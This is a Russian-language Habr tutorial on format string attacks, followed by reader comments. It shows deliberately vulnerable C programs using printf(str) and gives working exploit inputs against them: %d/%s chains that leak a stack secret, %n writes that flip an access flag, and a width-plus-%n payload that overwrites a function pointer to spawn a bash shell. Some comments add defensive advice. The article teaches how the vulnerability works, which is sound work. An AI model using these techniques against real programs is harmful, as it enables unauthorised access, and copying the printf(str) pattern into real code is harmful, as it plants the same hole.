Intro
К своему удивлению не нашел статей на хабре по этой теме и этой статьей я хотел бы исправить положение дел. В ней я постараюсь максимально доходчиво рассказать со стороны атакующего о Format String Attacks, однако с некоторыми упрощениями. На практике они достаточно просто разрешаются, но не очень хочется на них зацикливаться. Кроме того, самых стойких, долиставших до конца, помимо бесценных знаний ждет небольшой бонус.
Зачем это вообще нужно?
Подобно остальным уязвимостям, нужны Format String Attacks для того, чтобы получить неправомерный доступ к программе и делать с ней все, что захочется. Одна из важных особенностей этой уязвимости — безразличие к дополнительным меры защиты вроде w^x и ASLR. И самое главное — она позволяет обойти и относительно новую защиту CFI.
Приступим?
Как мне всегда казалось лучше всего понимать происходящее на примерах, поэтому без лишних слов сразу к коду.
#include <stdio.h>
void f(char *str) {
char *secret_data = "My Awesome Key";
printf(str);
}
int main(int argc, char **argv) {
f(argv[1]);
return 0;
}
- Вывести строку
- Заменить спец.символы начинающиеся с %
- Вернуть количество успешно выведенных символов
Что мы можем с этим сделать? Давайте соберем наш код и запустим. Здесь и далее работать будем с x86-32.
$ cc -m32 format_vuln.c -o format_vuln
$ ./format_vuln %d
47
Интересно, откуда же взялось 47? Мы ведь просили вывести "%d". На самом деле функция была написанна на C. Так как перегрузки операторов там нет, то и не знает, сколько ей аргументов было подано, поэтому ориентируется она на первый аргумент, который парсит строку и с каждым % забирает очередной аргумент со стека.
Немного поигравшись можно получить заветный ключ.
$ ./format_vuln %d.%d.%d.%d.%d.%d.%s
47.-145670960.-143695128.32768.-143929344.-143936984.My Awesome Key
Почему именно 6 %d?
Давайте посмотрим на дизасемблированный листинг функции f с помощью objdump:
080483fb <f>:
80483fb: 55 push ebp
80483fc: 89 e5 mov ebp,esp
80483fe: 83 ec 18 sub esp,0x18
8048401: c7 45 f4 d0 84 04 08 mov DWORD PTR [ebp-0xc],0x80484d0
8048408: 83 ec 0c sub esp,0xc
804840b: ff 75 08 push DWORD PTR [ebp+0x8]
804840e: e8 bd fe ff ff call 80482d0 <printf@plt>
8048413: 83 c4 10 add esp,0x10
8048416: 90 nop
8048417: c9 leave
8048418: c3 ret
По адресу 0x80484d0 хранится наш ключ и записывается он в стек по адресу ebp-0xc. Наш первый аргумент лежит по адресу ebp+0x8.
По инструкции sub esp,0x** выделяется нужное место на стеке. Причем выделяется явно много лишнего. Это выравнивание данных(padding) и делается это автоматически компиляторами, для производительности.
Итого если посмотреть на стек перед вызовом printf то становится ясно откуда эти 6 %d.
Непопулярные фичи printf
Помимо потенциальной утечки данных printf обладает и другими интересными возможностями.
- Обращение к n-ому аргументу, например вызов printf("%3$d %1$d %2$d", 1, 2, 3) выведет «3, 1, 2»
- Определение длины для вывода аргумента, например вызов printf("%.*s", 4, «Hello!») выведет «Hell»
- Запись в переданный указатель количество успешно выведенных символов c помощью %n
К примеру, имея следующий код:
#include <stdio.h>
int main() {
int i, j;
printf("Hello%2$n, world!%1$n\n", &i, &j);
printf("%d %*d", i, 3, j);
return 0;
}
получим такой вывод:
$ cc -m32 printfwrite.c -oprintfwrite
$ ./printfwrite
Hello, world!
13 5
Эта функциональнасть открывает новые возможности для эксплуатации. Изменим немного наш старый код и посмотрим, что с ним можно сделать.
#include <stdio.h>
#include <stdlib.h>
void f(char *str, int acc) {
int *access = &acc;
printf(str);
if (*access) {
puts("Secret information revealed!");
}
}
int main(int argc, char **argv) {
char *usr = getenv("USER");
if(usr==NULL) return EXIT_FAILURE;
f(argv[1], usr == "kitsu");
return 0;
}
$ cc -m32 printfacccess.c -m32 -o printfacccess
$ ./printfacccess %d.%d.%d.%d.%d.%d.%n
-4922064.2.4.-4922088.-143168832.-145108519.Secret information revealed!
Но что, если число, которое нам нужно записать очень большое? Например адрес функции. Первое, что приходит в голову подавать строку соответствующих размеров. Скажем, у нас есть адресс шеллкода, а также есть управление над printf, что же нам делать?
#include <stdio.h>
#include <stdlib.h>
typedef void(*fptr)();
void routine() {
/* do something useful */
puts("Routine done.");
}
void shell() {
execve("/bin/bash", 0, 0);
}
void f(char *str, fptr p) {
fptr ptr = p;
printf(str);
ptr();
}
int main(int argc, char **argv) {
f(argv[1], routine);
return 0;
}
Интересующий адрес шелла после компиляции — 0x80484d4. Выведем столько раз произвольный символ, а затем перепишем указатель на функцию.
$ cc -m32 printfshell.c -oprintfshell
$ ./printfshell `python -c 'print("0"*0x80484d4 + "%n")'`
bash: ./printfshell: Argument list too long
Увы, башу эта затея пришлась не очень по душе. Но мы можем добиться аналогичного эффекта с помощью уже упомянутой возможности ширины вывода, а после этого аналогично записать количество с помощью %n.
$ ./printfshell `python -c 'print("%1$134513876.0X%7$n")'` >out
$ echo "$$"
$ exit
exit
$ echo "$$"
3899
$ tail -c 4 out
3920
А теперь давайте подробнее разберемся, что за чудеса здесь произошли. Здесь мы запустили нашу программу и от нее запустился новый инстанс нужного нам шелла.
А что все таки "%1$134513876.0X%7$n" значит?
Он представляет собой два исполняющих символа "%1$134513876.0X" и "%7$n".
%1$134513876.0X — вывод на stdout первого переданного аргумента, с длинной поля 134513876(это и есть адрес нашего шеллкода). Что там выведется значения не имеет, главное — количество символов.
%7$n — выполняет запись в 7 аргумент. Записывает он как раз то количество символов, которое мы вывели, т.е. адрес шеллкода.
В заключении
Как вы уже могли заметить, printf()-like функции обладают колосальной мощью. Более того абсолютной, ибо как оказалось они и еще тьюринг-полные, а значит потенциально могут содержать все, что будет угодно хакеру.
Как? Достигается это достаточно длинными и сложными последовательнотями, с которыми можете поиграться например вот тут. Ребята из usenix сделали компиляцию brainfuck кода в format-string последовательности. В репозитории есть примеры вроде чисел фибоначчи, 99 бутылок пива и много чего еще интересного.
Комментарии (10)
StrangerInRed
30.12.2015 15:51-1char *secret_data = "My Awesome Key";
by default несекъюрно, потому что хранится в константах, которые можно будет найти в бинарнике без страшных эксплуатацийl4l
30.12.2015 17:56+4Само собой, просто для примера. Зачем усложнять конструкции всякими записями из файла/декодинг и т.д, если но здесь не уместно?
StrangerInRed
30.12.2015 16:00+3И главный посыл — никогда не используйте пользовательский ввод в качестве строки форматированния, только в кач-ве аргументов, и в любом случае валидируйте введенные данные.
il--ya
05.01.2016 14:26-1Ага, самого главного в статье нет. Собственно, такой рекомендацией можно было и ограничиться. Умный сразу поймёт, а дуракам всё равно не поможет — много букаф.
ajjnix
31.12.2015 06:21+1pvs studio часто публикуют в этой теме материалы (возможно, будет интересно почитать или вообще узнать о них) http://habrahabr.ru/company/pvs-studio/
была хорошая статья на подобную тему, но к сожалению не написали в хабр (а может и была и я не заметил)l4l
31.12.2015 12:43Слышал о них, хорошая компания.
А вот статью не видел и гугл молчал. На хабре, как оказалось ее публиковали.
hellman
Если не хочется выводить слишком много символов, можно использовать %hn — запись short'а.
Вопрос, зачем нужно .0 в 134513876.0X?
l4l
Дополняет число нулями. На самом деле, там важна только ширина поля